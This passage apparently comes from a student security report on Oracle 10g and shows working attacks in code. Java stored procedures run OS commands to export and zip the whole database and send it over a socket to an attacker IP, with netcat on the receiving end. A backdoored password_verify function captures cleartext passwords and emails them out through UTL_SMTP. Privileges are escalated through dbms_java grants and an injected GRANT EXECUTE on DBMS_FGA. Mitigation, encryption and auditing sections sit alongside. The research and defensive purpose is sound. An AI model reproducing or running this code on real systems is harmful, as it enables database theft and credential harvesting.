in Figure 443.

Figure 443: Incomplete patch set for the flaw from Oracle

Note that this flaw has also succeeded in 10g R2 Enterprise Edition; no patch is available for it as

well.

4.6.3 Prevention The work around to this problem is to revoke the package SYS.DBMS_EXPORT_EXTENSION

from the public, the query is “REVOKE EXECUTE ON SYS.DBMS_EXPORT_EXTENSION FROM PUBLIC

FORCE” as shown on Figure 444 below. But this is not good enough since an attacker can perform

a SQL Injection attack to grant himself execute privileges on the above mentioned package.

Figure 444: Revoking execute on package

Another problem with this kind of work around is that once the DBMS_EXPORT_EXTENSION

package is revoked from public then an essential functionality is revoked as well. For example this

will cause a disability of the user backing up their data. Basically the packages in Oracle are

interconnected such that deactivating one will, render the other unusable.



4.7 STEALING THE WHOLE DATABASE USING PL/SQL

4.7.1 The flaw This is a method that was demonstrated by Cesar Cerrudo and Esteban Martinez Fayo from

Argeniss Information Security at the Red Hat presentations this year (2007). The method steals the

whole database from the server and sends it over the Internet to the hacker’s machine. The first

move is that the attacker has to gain access to the DBA role on the database. This can easily be done

by using SQL injection and the various methods that have been illustrated in the Sections above.

Basically, the attacker sends code to the database that wraps up the whole database in a single file

and then zips it up. This is then sent to the attacker’s machine over the Internet. The examples given

below consist of two scripts of code that need to be deployed to the server. I used the windows

version of the exploits for these demonstrations but there is also a *nix version as well.

The attacker has to send the first script called ‘export_and_zip.sql’, this basically creates a .dmp

file called export which contains the whole database (in my case the size of the file is 79.938 KB)

which is then converted into a zipped file called export.zip.

The code used is discussed below in Listings 423:

The first code snippet to be uploaded creates a file called parfile.txt in java and writes to it using the

File Writer. Basically, java code is embedded into SQL and then the java code creates a file called

parfile.txt which is written to by the File Writer. See full code in Appendix 5 on page 114. Below is

a snippet of the code in Appendix 5. The procedure SRC_EXECUTEOS ……………………

File fileOut = new File (parfile);

create a file writer fw used to write some output to the created file.

FileWriter fw = new FileWriter (fileOut);

fw.write("full=y\n");

fw.write("userid=\"/ as sysdba\"\n");

the real value of export is an argument, in my case C:\export.dmp

fw.write("file=" + export + "\n");

fw.close();

………………………

Listings 423: Creating the file called parfile.txt

The code below (Listings 424) is part of the code shown in Listings 423 above and the whole code

is shown in Appendix 5. The code generally takes in a command say a directory path to a file and

then executes it as an Operating System Command. This uses the command prompt in java, if

suppose the path to an excel file is C:/oke.xls then to open the document we will have to specify the

value of cmd below as “cmd.exe /C C:/oke.xls”



public static void execOSCmd (String cmd) throws IOException,

java.lang.InterruptedException

The java function executes as an Operating System command the string cmd

passed as a parameter

Process p = Runtime.getRuntime().exec(cmd);

this causes the current thread executing to wait until the Process p finishes

execution

p.waitFor();

;

Listings 424: Execution of Operating System Commands

The procedure below allows anyone to run Operating System Command in the database Server. The

procedure takes in a varchar2 command and passes it on to the function execOSCmd which is in

turn executed as an Operating System command. The PL/SQL code below acts as a specification to

the java code already declared above. It acts as an interface of communication between the PL/SQL

procedure and the java code. load this soon after successfully executing the above command, this is a

procedure that also embeds java in itself, it takes in a java string

CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)

AS LANGUAGE JAVA

ExecuteOS is the name of the class that contains the method execOSCmd

NAME 'ExecuteOS.execOSCmd (java.lang.String)';

Listings 425: The procedure defined makes use of the java function execoSCmd()

The procedure below makes use of the first procedure to be defined, SRC_EXECUTEOS. It takes

in two arguments, both varchar2 and passes them onto the method createParfile from the java class

ExecuteOS defined in Listings 423. The procedure also acts as an interface between java and

PL/SQL. this is the procedure that creates the two files named below as arguments

CREATE OR REPLACE PROCEDURE "PROC_CREATEPARFILE" (p_parfile varchar2, p_export

varchar2)

AS LANGUAGE JAVA

NAME 'ExecuteOS.createParfile (java.lang.String, java.lang.String)';

Listings 426: The procedure defined makes use of the createParfile procedure

Now, the code below is used to carry out the already laid down exploit. This can also be done for

*nix as well as for Windows machines. It uses the procedures that have been described above. This code is used to execute the procedures created above that make use of



java

BEGIN

PROC_CREATEPARFILE ('C: \parfile.txt', 'c: \export.dmp');

this is the culprit command that is use to export the database using the

exp Utility

PROC_EXECUTEOS ('exp parfile=C: \parfile.txt');

used to zip up the exported file as shown below using the zip Utility

PROC_EXECUTEOS ('zip c:\export.zip c: \export.dmp');

END;

Listings 427: This procedure makes use of the procedure defined above

After running the code given above its now time to run the second half of the flaw that takes the

compressed exported file and sends it over TCP to the host machine of the attacker. The file is

exported as a zipped file and the hacker might also encrypt the traffic if he so wishes so that his

dubious transactions can not be detected. The scary part is that the exported file contains the whole

database; this only shows how bad hackers can be.

This code shown below uses the functionality rendered by java in Oracle to open a communication

port between the server and the client. In this case a port is opened to pass the file through. Once

this port has been established then the database file can now be transported.

The code is shown below: CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “SRC_FILESEND” AS

libraries from java to be used

import java.lang.*;

import java.io.*;

import java.net.*;

public class FileSend

This java function uses the network functionality in java to send a local file

–over a TCP/IP connection to a remote site

public static void fileSend(String myFile, String host, int port) throws

Exception

int length;

byte buffer[] = new byte[2038];

File binaryFile = new File (myFile);

FileInputStream inpStream = new FileInputStream(myFile);

create a socket that shall bind the port for communication

Socket sock = new Socket (host, port);

DataOutputStream dos = new DataOutputStream( sock.getOutputStream());



DataInputStream dis = new DataInputStream( sock.getInputStream());

while ((length = inpStream.read(buffer)) != 1)

dos.write(buffer, 0, length);

making sure that the data has been sent through the channel

dos.flush();

sock.close();

inpStream.close();

;

Listings 428: Creates a Socket that bind a socket for communication

The procedure below calls the FileSend java class. First of all the method is created in java and for

it to be used in the database, a procedure that calls the method has to me made which looks like the

one below, this is the method specification. Notice, it takes in a file name, host name and a valid

port number and passes it to the java method. this is the SQL procedure command that calls the file send method

CREATE OR REPLACE PROCEDURE "PROC_FILESEND" (myFile varchar2, Hostname2

varchar2, Port PLS_INTEGER)

AS LANGUAGE JAVA

the method fileSend in the class FileSend declared above

NAME 'FileSend.fileSend (java.lang.String, java.lang.String, int)';

Listings 429: Creates a procedure that calls the FileSend class

The code below in Listings 430 is used to execute the PL/SQL procedure Proc_FileSend. The file

to be sent across is called export.zip in the C: drive of the Server and it is to be sent to the machine

With IP address 136.231.123.81 and the port number is 3420. execute the file send procedure

Windows

BEGIN

PROC_FILESEND ('c:\export.zip', '136.231.123.81', 3420);

END;

Listings 430: This is how the procedure is to be executed

Alternatively the procedure can be run as shown below. ‘EXEC PROC_FILESEND (‘C: \EXPORT.ZIP’, ‘136.231.121.81’, 3420);’

To receive the compressed file with all the database contents, the attacker can use the netcat utility

to redirect what is received in a TCP port to a file as shown below:



‘nc –p 3420 –l >oracledb.zip’

The snapshot below shows the files in the folder after a successful transfer, note the zipped file

named oracle which was then unzipped to get the file named export which is a Crash Dump File

(dmp file).

Figure 445: The snapshot of a successful database theft

Just to put some emphasis on some of the concepts I came across when performing this attack. I had

used Wireshark to check the ports the two machines were using to communicate. I found out that

the server (136.231.121.83) was using port 4460 while my client (136.231.123.81) was using port

3420, so I ran the export code and got an error that the connection had been refused. I ran the

command “netstat –a” to check which ports are opened but amazingly the port 3420 was not

listed down. I also ran the command “netstat –an | findstr: 3420”, I ran the same command

for port 3430 as well which does not exist and expectedly I got the same results. The netstat

command returns nothing if the port specified is not listening to anything. The results from running

the commands are shown below in Figure 446. Notice that the first command run does not return

anything. The complete version is found in Appendix 6 on page 115.

Figure 446: The snapshot of results obtained from running netstat commands

Amazingly, there was no report back to me confirming that the port 3420 was indeed listening for

communication from the Server. This signifies that the port was closed. Basically there was no

problem with the sending code because the zipped file was sent through but did not have a port to

receive it. Therefore I had to run the command shown below as specified by the writer of the code: nc –p 3420 –l > oracledb.zip



This command binds the particular port to the socket sock declared in the sending code and this

allows the sending procedure to be executed successfully. A snapshot of my use of this command is

shown below in Figure 447. A complete snapshot can be obtained from Appendix 7 on page 116.

Figure 447: Binding the port number 3420 to the Socket

I also used the tool called md4sum to check for data integrity, to make sure that the transmitted

zipped file is still the same as before transmission. Note the key ‘d9d34731…’ which was exactly

the same as the one I obtained when I ran this tool on the server. This is shown in Figure 448

below. See also Appendix 7 for a more detailed snapshot.

Figure 448: Running md4sum to check for data integrity

I also had another hustle that kept me off track for some time. When I tried running the code on

Listings 430 I got an error that claimed that I had no File permissions to use java in PL/SQL to

create files using OS commands. So I needed to grant myself these permissions since I had the DBA

role. The commands used are shown below in Listings 431. This gives me rights to read from,

write to, execute on and delete the file. At times it is required that instead of naming a particular file; we use <<All

Files>>

Begin

dbms_java.grant_permission ('CSESS','SYS:

java.io.FilePermission’,'C:\parfile.txt','read, write, execute, delete’);

End; /

Listings 431: Granting myself rights to create files using OS commands

But for me to execute this command I needed to be granted a SYS role called JAVASYSPRIV

which has the rights to read, write, execute or delete any file. Another alternative was to grant

myself JAVA_ADMIN role which will allow me to grant my own file permissions via the

DBMS_JAVA package as this role has the rights to grant this privilege. Both these roles are not

safe to be used by users, consider the second one for example, it gives the user all the privileges he

needs to give himself privileges to any file in the database, in essence this means that the user has

got access to any file in the database and this is very harmful. To explain the concept above please

read the comment made by Pete Fennigan below:

“The Java security is separate from normal database privileges and roles. The privileges are stored

in the Java policy table and to be able to grant a Java privilege you need to have privileges to alter



the policy table. This is granted through the dbms_java package with the grant_policy_permission

procedure. We can allow the user the privilege to grant java.io.FilePermission to any other user

including him self (which is very dangerous).”

To alter the java policy table and to give user HR the privileges consider the command issued

below: Call dbms_java.grant_policy_permission

('HR','SYS','java.io.FilePermission','*');

This can be achieved by SQL injection as well as by possessing the DBA role as in my case. At

times the roles JAVASYSPRIV, JAVA_ADMIN are incorporated into the DBA role by database

administrators and this becomes easy for a hacker who wishes to execute the privileges shown

above as it reduces the amount of code to be written as well risks in being noticed while trying to

execute flaws.

The claim that indeed the export. zip file contains the database was verified. It contains all objects

contained in all schemas, as well as all the contents of all policies that have been declared in the

database. Above all it contains all the tables that have been made in the table but in metadata form.

It’s easier if the attacker has an Oracle database running as well, he can simply import the file

Oracle.dmp using the imp Utility and this gives him the exact replica of the data. Below is a potion

of the screenshot of my password_verify function which I use to validate user passwords in the

database. U full view of the Figure 449 is available in Appendix 10 on page 119.

Figure 449: A snapshot from the export. Zip

The snapshot below in Figure 450 shows the hashed passwords from the database. A full snapshot

is found in Appendix 9 on page 118.

Figure 450: A snapshot from the export. Zip showing password hashes



To illustrate this claim I loaded the export.dmp file back to the Server. User Scott contains a table

called hack, now my task is to move this back into the database from the metadata in export.dmp

but into a different schema instead. This is shown in the Figure 451 below.

Figure 451: Table Hack imported into Csess’s schema from Scott’s schema

The complete command is: >imp Csess/Keletso File = C:/export/export/export.dmp FromUser = Scott ToUser =

Csess Tables = (Hack)

To prove this the table “Hack” is now also contained in the schema of Csess as shown below in

Figure 452.

Figure 452: Indeed the table is now in Csess’s schema

The command to export the whole database from Oracle is as shown below: >exp csess/keletso File = C: / keletso/csess/csess.dmp Full = y

In order for a user to perform this, a user has to have the DBA privilege specifically the

Exp_Full_Database as well as an execute privilege on the DBMS_EXECUTE_EXTENSION

package.

4.7.2 Protecting Against Database Theft To protect against Oracle flaws, the database administrator has to keep updated with all the released

patches to update their databases. And as a word of advice, these patches have to be tested on

dummy databases rather than the real databases because; some of the patches open up holes in the

database instead of patching them up.

The database administrator also has to enable firewalls and block all connections form entrusted

hosts. Unused ports must also be blocked so that attackers do not get to use them maliciously.



My advice to Oracle is to revoke the execute privilege on DBMS_EXPORT_EXTENSION from

the public. If this is revoked users will not be able to export and import the database. But this comes

at a cost of denying users the privilege of backing up their database. The command is as shown: “REVOKE EXECUTE ON SYS.DBMS_EXPORT_EXTENSION FROM PUBLIC FORCE”

Consider the Figure 453 shown below, it shows that if the above mention privileged is revoked

then we get an error from Oracle.

Figure 453: An unsuccessful export

4.8 GETTING CLEAR TEXT PASSWORDS USING THE PASSWORD_VERIFY FUNCTION

4.8.1 Getting clear text Passwords by privileged user Oracle provides a default function stored as utlpwdmd.sql in $Oracle_home. In my database the file

location is: ‘C: \oracle\product\10.2.0\db_1\RDBMS\ADMIN\utlpwdmg.sql’

Basically this function allows the DBA to verify that all the passwords created on the database are

strong and up to Oracle standards to avoid easy access by a hacker. This function is not set by

default therefore it is the DBA’s responsibility to set it up. The function makes sure that the

password has got a digit, a special character and that the password is not the same as the user name

or a previously used password. The DBA can also edit it to include all the various characters that he

thinks necessary to obtain a strong password to avoid dictionary attacks as well as easily unhashed

passwords. On the other hand, as much as this function is very useful to strengthen the database

security against attackers, it can be used as a dangerous device against an innocent user. It can allow

SQL code to be inserted into it that harvests user passwords in clear text. Oracle claims that the

DBA can have no access to clear text passwords in the database which is true assuming that our

DBAs are trustworthy as well. It implements various techniques that present hashed passwords

instead of clear text if queried at any time for a password. The statistics claim that about 80 % of

database attacks are from within. This means that this flaw which I am going illustrate below is

easily executable. If a user gets access into the SYS account and inserts the ‘evil code’ into the

password_verify function then passwords can be harvested any time a password is changed. A user



can be prompted to change his password by running an expiry command against him, ‘PASSWORD

EXPIRED’. An example of this command is shown below: ALTER USER SCOTT PASSWORD EXPIRE; Force user to choose a new password

This will force the user to change the password and once this is done the new password is

transferred to a table that has been created to receive these clear text passwords. The code is shown

below in Listings 432. A complete copy of the code is accessible from Appendix 8 on page

117(this is the password_verify function used to validate passwords: ……………………………………………………………………………………………………………

This is the procedure that sends password to a table called Hack

Procedure pwdhack (username_in varchar2, value_in varchar2)

Is pragma autonomous_transaction;

Begin

Insert into Scott. Hack (id.username, value) values (hacseq.nextval,

username_in, value_in);

Commit;

End;

BEGIN

Character searched for in the password.

Digitarray: = '0123346789';

Chararray: = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

Punctarray: ='!"#$%&()''*+,/:;<=>?_';

The procedure is called and it send password to the table created.

Pwdhack (username,’ NEW PASSWORD: ‘||password);

…………………………………………………………………………………

Listings 432: A procedure is created in the function that harvests passwords

4.8.2 Create the user for the profile The correct command to create a user for this new profile is as shown below. CREATE USER KZA IDENTIFIED BY "OKE87*"

PROFILE PWDHACK

DEFAULT TABLESPACE USERS

TEMPORARY TABLESPACE TEMP

/

GRANT CREATE SESSION TO HACKME;

Listings 433: Creating a user in a profile

The section below shows how the flaw was carried by using a user called ‘Testie’



4.8.3 Carrying out the flaw I created a new profile called pwdhack for experimental purposes and created a user in the same

profile. I activated the password_verify function on the created profile as shown below. Create profile pwdhack limit password_life_time unlimited;

Alter profile pwdhack limit password_verify_function verify_function;

I logged in as Scott and created a table called hack. This is the table used to hold the password hash.

The table takes in an id, a username and the value of the changed password. I then created a

sequence that adds subsequence integers to the table, considered to be the id, the counting starts

from 1 till 99999999.

The command used is;

Create sequence hackseq;

I used this sequence for the passwords table. The created user is TESTIE and his password was

KELETSO23*, to change his password, the command used is “Alter user” as well as the

“Password” command as shown below: PASSWORD;

OLD PASSWORD:

NEW PASSWORD:

CONFIRM NEW PASSWORD:

Both passwords are sent to the table hack in the schema Scott as shown below.

I ran the SQL command ‘SELECT * FROM HACK’ to find out if the flaw was successful, the

contents if the table are shown below in Figure 454.

Figure 454: Output from the Hack table

In place of sending the results to a table, the output can be sent to the attacker using an email; this

uses the UTL_SMTP package in PL/SQL or the Java Stored Procedures. Below is the same flaw

carried out but instead of inserting values into a table, the hacker manages to send the username and

the password to his email using the Oracle functionality UTL_SMTP which imitates the function of

the SMTP protocol. The UTL_SMTP is underlain by the package called UTL_TCP package which

mimics the external TCP/IP. The relationship between the two packages is similar to that of the two

protocols in that one provides an interface for the other.

The Listings 434 below shows the procedure created that send email to the hacker which contains

the credentials.



CREATE OR REPLACE PROCEDURE SEND_EMAIL (USER_NAME VARCHAR2, USER_PSWD VARCHAR2)

IS


V_CONN UTL_SMTP.CONNECTION;

BEGIN

V_CONN := UTL_SMTP.OPEN_CONNECTION('MAIL.RU.AC.ZA',24);

UTL_SMTP.HELO(V_CONN,'MAIL.RU.AC.ZA');

UTL_SMTP.MAIL(V_CONN,'[email protected]');

UTL_SMTP.RCPT(V_CONN,'[email protected]');

UTL_SMTP.DATA(V_CONN, USER_NAME || USER_PSWD);

UTL_SMTP.QUIT(V_CONN);

COMMIT;

END; /

Listings 434: The procedure that sends the email

The procedure is then called in the verify_function instead of inserting credentials into a table. The

Listings 435 below shows how this is accomplished using the verify_function. …………………………………………………………………………………………………………… THIS IS THE PROCEDURE THAT SENDS THE OBTAINED CREDENTIALS BY EMAIL

PROCEDURE PWDHACK (USERNAME_IN VARCHAR2, VALUE_IN VARCHAR2)

IS PRAGMA AUTONOMOUS_TRANSACTION;

BEGIN

SCOTT.SEMD_EMAIL(USERNAME_IN, VALUE_IN);

COMMIT;

END;

BEGIN

DIGITARRAY: = '0123346789';

Chararray: = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

PWDHACKED(USERNAME, ‘ NEW PASSWORD :’ || PASSWORD);

Listings 435: Sending mail to the attacker

The output of this attack is as shown in the Figure 455 below. The attack was successful and a

snapshot of the result is shown below. I actually used my Gmail account to retrieve the credentials.

Figure 455: Attacker successfully sent through an email with credentials



4.8.4 Protecting Against Clear Text Password Harvest The best way to protects against this is to set up a trigger that is triggered by anyone tying to use the

password_verify function. The trigger is set to monitor who is allowed to make use of the function

and notifies the DBA if this is breached. Another effective to be made of use of is auditing, this will

record to detail all attempts issued out on trying to use the function.

Another measure can be implemented which is always checking the state of the checksum. This is

done by calculating the checksum of the function initially and if any change to it has been made it is

shown by a differing checksum. Apparently all the advice I have provided is for the DBAs and not

Oracle.

4.9 TRANSPARENT DATA ENCRYPTION AND ITS ASSOCIATED FLAW. This is the most important feature in Oracle 10g R2 which is an addition to the Oracle Advanced

Security option. Oracle can now encrypt data both on the network as well as on the database. It sets

the standard for data encryption by tightly coupling encryption with the database to provide a highly

transparent encryption solution to protect sensitive data written to disk or backup media.” It can

protect sensitive information without breaking the existing application. According to Oracle most

companies do not have the expertise to modify current applications to make calls to the encryption

routine; manually doing this is errorprone. But they (Oracle) have a deep database embedded way

of encryption. The claim is that Oracle encrypts data before writing to the disk and when the select

statement is used on the table, it transparently decrypts data such that the applications run normally.

Unlike the previous versions of encryption where the user was responsible for key maintenance,

TDE does its own key management. The table is encrypted by a table key which in turn is encrypted

by a database Master key. To decrypt the table contents both keys are required.

4.9.1 How it works Log in as a privileged user and make a wallet with a specific password (in my case the password is

kelets23! And the user who creates the password is system/keletso) as shown below in Figure 456.

Figure 456: Creating a wallet



Now, create a table called empo from the normal emp table in Scott as user Scott. A snap shot is

provided below in Figure 457 which shows the table I created. The table actually contains 14

entries selected, a complete view is shown in Appendix 11 on page 122.

Figure 457: The table empo created

TDE allows users to encrypt selected fields of sensitive data, it allows the user to view his data and

alter the table while the wallet is open but once the wallets is closed all this is prohibited. It allows

users without the wallet password to view data that has not been encrypted. The command to

encrypt a field of data is very simple and in my case, it is shown below. In the snapshot in Figure

458 below, the field deptno has been encrypted. When a SELECT statement that encompasses the

encrypted filed is fired in a query to the table, data is automatically decrypted without affecting the

system.

Figure 458: Encrypting the field deptno in the table

Shown below in Figure 459 is the command to close the wallet. When this command is first run,

we try to insert data to see if the system will allow us to do so.

Figure 459: Closing the wallet

But before that, let us try to select the whole table and see if this is allowed by the closed wallet. As

long we include our DEPTNO in our queries, we will always get an error since this field is

protected. This is shown below in Figure 460.



Figure 460: Running ‘SELECT *…’ with closed wallet

A trial to insert a record into the table yields the results shown below. The snapshot in Figure 461

below shows the behaviour of the system after I tried inserting a record.

Figure 461: Trying to insert a raw into table with wallet closed

The only allowed action for inserting a record is to insert values for all other fields and specify the

encrypted field as ‘NULL’. Now the problem arises when the value of the encrypted field is not

allowed to be set to ‘NULL’. In my case, I did not set my field deptno to reject the value null. I ran

the command as shown below in Figure 462.

Figure 462: Successfully inserting a record with closed wallet

Users without the wallet password are allowed to view information from the unencrypted fields but

restricted from viewing the encrypted field. To gain access to the public field, the user has to be

careful not to include the encrypted field in the ‘Select’ statement issued. Notice that the data

inserted as shown in Figure 462 is included in the output in Figure 463.

Figure 463: This view is allowed on the table because it does not involve the encrypted field



To reopen the wallet, we use the command below shown in Figure 464. The user has to specify the

password and normally the restrictions set on the table empo cease. They do not hold anymore for

the user with the wallet password.

Figure 464: Reactivating the wallet

TDE also allows the user to add in a salt to the encryption to make it stronger and hard to break.

This prevents attackers from successfully tracing the encryption pattern by using the matching

method on the data. TDE also it allows a user to specify the size of the AES cipher key to AES246

which by default is AES192. This makes use of the REKEY command. Oracle also allows the user

to be auto logged in so that they do not encounter multilog in sessions in order to use this database

functionality. This is done on the Oracle Wallet Manager by opening the wallet and choosing auto

login as an option.

4.9.2 Taking a closer look at the security of TDE The flaw is available on the link: (http://www.pythian.com/blogs/410/oracle10gtransparent

encryptionnotsoencrypted). The first step is to make a table that has data that the user would like

to encrypt. The whole essence of this scrutiny is to check how Oracle manages to perform an

encryption and a decryption without experiencing a noticeable time delay and at the same time keep

the data safe. In my case I made a table called “reveal _not” which has two fields, ID varchar2 (18)

and TEXT varchar2 (34). I have only one record in my table; but the section under text must not be

revealed. I made a query to the system as shown on the screenshot below; this shows me the file

number and the block number of my table in the system.

The command run is ‘select dbms_rowid.ROWID_RELATIVE_FNO (rowid) f, dbms_rowid.ROWID_BLOCK_NUMBER (rowid) b, t.* from reveal_not t;’

This is as shown below in Figure 465.

Figure 465: The command to view where table is where the table is located in the database

The table in Figure 465 shows the out put of running the command shown above in Figure 466.

Note it also shows the records in my table, the field number of the record as well as the block

number of the table.

http://www.pythian.com/blogs/510/oracle-10g-transparent-encryption-not-so-encrypted



Figure 466: Output showing the data file and block number of created table

The data file number is 4 and the block number is 533, also note that my record is shown as well.

I logged in as a privileged user and dumped the data block in the database’s udump as shown in

Figure 467 below.

Figure 467: Dump the table to the udump file in the database

I used Ultra Edit Editor to view the dump; notice the clear text data in the dump in my

demonstration in Figure 468 below. The wider view of it is shown in Appendix 12 on page 123.

For now this is expected since the data is not encrypted yet.

Figure 468: Clear text in the udump file

I encrypted the data and then scrutinised how it is stored, in fact this is meant to validate Oracle’s

statement about TDE that data is stored in the encrypted format. I ran the TDE command as shown

below in Figure 469.

Figure 469: Encrypt the field ‘Text’

After performing TDE, I created an automatic data dump using the checkpoint command. This

synchronises the data in the buffer cache with the data files on the disk. Every block in the buffer

cache is written to the data files in the disk. The buffer cache is part of the Oracle’s SGA (System

Global Area); it stores copies of data blocks for easier and quicker data access as compared to

getting them from the disk. Also the SGA is a structural memory area that facilitates the transfer of

data and information between the Oracle database and the client.



Figure 470: Automatically updating the udump with data in the buffer

Now, lets look at the modified dump below…WOW!!!.... We still have the clear text data mixed

with encrypted despite the claim by Oracle that TDE is safe and that even if the disks are stolen an

attacker can never retrieve data. The clear text is shown below in Figure 471.

Figure 471: Clear text still exists even after data encryption

4.9.3 Explanation It is true that Oracle keeps its data encrypted after TDE has been activated but the problem is that it

keeps it together with clear text which it effectively does not use. Oracle updates the rows in the

udump with encrypted data by adding a new row to the block and making the old one unused. It is

logical to wonder why we see clear text after performing clear transparent data encryption. Oracle

uses this as an optimisation strategy. Zeroing out the data requires a lot of CPU cycles which is not

desirable, thus Oracle prefers to leave the data in there unused rather than zeroing it out.

4.9.4 Solution to the problem The table with clear data can be moved; this will in turn defragments and reinitialises the block

elements. Look at the block below in Figure 472, there is no clear text data (Appendix 13 on page

124). But prior to getting this snapshot, we run two commands; one to move the table data and the

other one to specify the dump properties.

These commands are: Alter table reveal_not move;

Alter system dump datafile 4 block 631;

Figure 472: No clear text exists after defragmenting the udump



However, the old dumps still have the clear text data. The best thing to do to remove the data is to

create a new table space, move all contents of the old tablespace to the new and then drop the

tablespace from the database. You may also alternatively zero out (have a net value of zero,

effectively make the Hex value 0 meaning the value is now null) the old file and remove it. The

other alternative to all this, which depends on experience of the user and expertise, is to zero out the

clear text portions and leave out the encrypted sections. But this is risky since a user may lose all

valuable data. Also users must make strong salts when performing a TDE so that attackers do not

figure out the pattern of data encryption.

4.10 AUDITING

4.10.1 How it works Before illustrating the use of Auditing, let’s take a look at the current setting of the Oracle database

that I am using. The command to be used is “SHOW PARAMETER AUDIT” and the output as shown


The audit_file_dest shows the exact Operating System directory that stores the audit trail. The

audit_sys_operarions shows whether the actions of the SYS account are audited. This includes the

privileges SYSDBA and SYSOPER. If false then these are not edited. The last variable is the

audit_trail; this can take values, none, DB, XML or OS. When it’s none it simply means that

auditing is disabled and this happens to be the default set up. OS specifies that the audits are stored

in the Operating System while DB means that the audits are stored in the database. XML simply

states that the trails are stored in the OPS and are in XML format. See Figure 473 below.

Figure 473: The audit settings on my machine

To activate auditing, we fire the command:

“ALTER SYSTEM SET audit_trail = db SCOPE = SPFILE”. This specifies where the audit trail

is to be stored. Shut down the server and restart it. In my case the command is “SHUTDOWN

IMMEDIATE” because “SHUTDOWN” on its own does not work for some reason. All these system

commands are carried out in the SYS account. Create a user for the audit testing. In my case, my

user is called “OXO/KELETSO” and grant him the connect role as well as the privileges to create

tables and procedures.



The next thing is to select the aspects of the actions done by “OXO” to audit. In my case the

commands are as shown below. AUDIT ALL BY OXO BY ACCESS;

AUDIT SELECT TABLE, UPDATE TABLE, INSERT TABLE, DELETE TABLE BY OXO BY ACCESS;

AUDIT EXECUTE PROCEDURE BY OXO BY ACCESS;

Log in as OXO and create a table in the schema, insert a value into it and do all sort of actions on it

as the ones I did show below in Figure 474.

Figure 474: Commands run on the table

Log as back as SYS/KELETSO AS SYSDBA

There are quite a number of files that keep audits updates on the Oracle database. These include

DBA_AUDIT_TRAIL, DBA_AUDIT_EXISTS, ETC. The command to show this is: SELECT VIEW_NAME, FROM DBA_VIEWS WHERE VIEW_NAME LIKE ‘DBA%AUDITS’

ORDER BY VIEW_NAME;

Now to view the audits, we run the commands below in Listings 436: COLUMN USERNAME FORMAT A10

COLUMN EXTENDED_TIMESTAMP A34

COLUMN OWNER FORMAT A10

COLUMN ACTION_NAME A10

SELECT USERNAME, EXTENDED_TIMESTAMP, OWNER, ACTION_NAME FROM DBA_AUDIT_TRAIL

WHERE USERNAME = ‘OXO’;

Listings 436: Commands to view the audits

The column commands redefine the size of the returned variable so that they all fit in the output

page. The number of fields may be varied according the users needs. The database gave a total of

637 audits and Figure 475 is a potion of the snapshot. A more view of the output with more data is

shown in Appendix 14 on page 125.

Insert values

Update table

Select from…

Delete and drop table



Figure 475: A portion of the audits

At times more than one updates are done for every audited user action. My suspicion (though not

proved) is that this is due to the fact that Oracle updates all the tables that contain auditing

information (redundancy). For some reason the last column is not specific to the actual command I

ran, these include delete and update, they are recorded as “EXECUTE PROCEDURE” but “SELECT” and

“DROP” are recorded in their true names.

The audit carried out for OS is the same as that for the DB audit_trail. Auditing also allows fine

grained auditing (FGA). This audits userdefined predicates. One other factor is that it is free from

the audit_trail settings and the records are store in the FGA_LOGS table rather than the AUD$

table.

To demonstrate Oracle’s FGA, create a table and in my case the table is called “SALARY” as

shown below in the snapshot of Figure 476.

Figure 476: Table ‘Salary’ to be audited

The Figure 476 also shows the commands that I ran when inserting values into the table SALARY.

The DBMS_FGA package contains the procedures ADD_POLICY, DROP_POLICY,

ENABLE_POLICY AND DISABLE_POLICY.

If the declared policy is not needed any more, we clear the audit trail by running the command;

TRUNCATE TABLE FGA_LOG$; we also have the privilege to drop a specific policy (only the

privileged).

Logged as SYS, specify the particular audit conditions that you need scrutiny of in the policy made.

Consider the policy I used below. BEGIN



DBMS_FGA.ADD_POLICY (

OBJECT_SCHEMA => 'OXO',

OBJECT_NAME => 'SALARY',

POLICY_NAME => 'SALARY_AUDIT',

AUDIT_CONDITION => 'SAL >27400',

AUDIT_COLUMN => 'SAL');

END;

/

Listings 437: Adding a policy to the FGA policy

This added policy monitors the SAL field; precisely it is triggered by a select statement that is

meant output the value of SAL greater than 27400.

Now the user “OXO” logs in and executes the commands below.

Figure 477: Commands fired by audited user

The first “SELECT” statement that was executed gives a value that is less than 24000 thus it is not

audited, the second “SELECT” statement outputs some values that are more than the 27400 and thus

this query is recorded. The update query, though setting a value greater that 27400 is not recorded

since it does not output any value. But the last query fired gives three records of values greater than

27400 thus it is also audited; the audit_trail is shown below in Figure 478.

Figure 478: The audited predicates in the audit_trail

This is a very powerful security in Oracle indeed. It records down any queries fired to the database

and this gives the DBA a chance to find any suspicious queries passed by attackers. The example

This is audited

This is audited too



given below has been refined to show the strength of FGA. The policy added is shown below in

Listings 438. BEGIN

DBMS_FGA.ADD_POLICY (

OBJECT_SCHEMA => 'OXO',

OBJECT_NAME => 'SALARY',

POLICY_NAME => 'SALARY_AUD',

AUDIT_CONDITION => NULL,

AUDIT_COLUMN => 'SAL',

STATEMENT_TYPES => 'SELECT, INSERT, UPDATE, DELETE’);

END;

/

Listings 438: Adding a policy to the FGA policy

The policy monitors all select, insert, update and delete statements that have been fired onto the

table “SALARY” by anybody. The queries that have been fired in my example are shown below in

Figure 479.

Figure 479: The commands run by audited user

Now check the wonderful feature that the Oracle’s FGA offers. If required to do so, it captures all

queries ran by users to great detail and records them. See snapshot below in Figure 480.

Figure 480: The audit_trail for the audit set in Listings 438



4.10.2 Conclusion This is a good technique that Oracle implements to protect the data in the database. It records all the

commands executed on the database by users to great detail. If properly used, no command fired

can escape. Its fine grained auditing is similar to VPD and is also susceptible from a SQL injection

attack. If Oracle could strengthen their protection against SQL Injection then their security levels

could be higher than what it is now. Now look at the section below for a closer scrutiny of Oracle’s

auditing.

4.10.3 Destroying the Fine Grained Auditing The flaw to be demonstrated is the same as the one to break through VPD already covered in the

above chapters. The user Oxo grants himself the execute privilege on the package DBMS_FGA

through SQL Injection as shown in the Listings 439 below. CREATE OR REPLACE FUNCTION GAIN_DBMS_FGA

RETURN NUMBER

AUTHID CURRENT_USER AS


BEGIN

DBMS_OUTPUT.PUT_LINE('EXECUTED FLAW');

EXECUTE IMMEDIATE 'GRANT EXECUTE ON DBMS_FGA TO OXO';

RETURN 1;

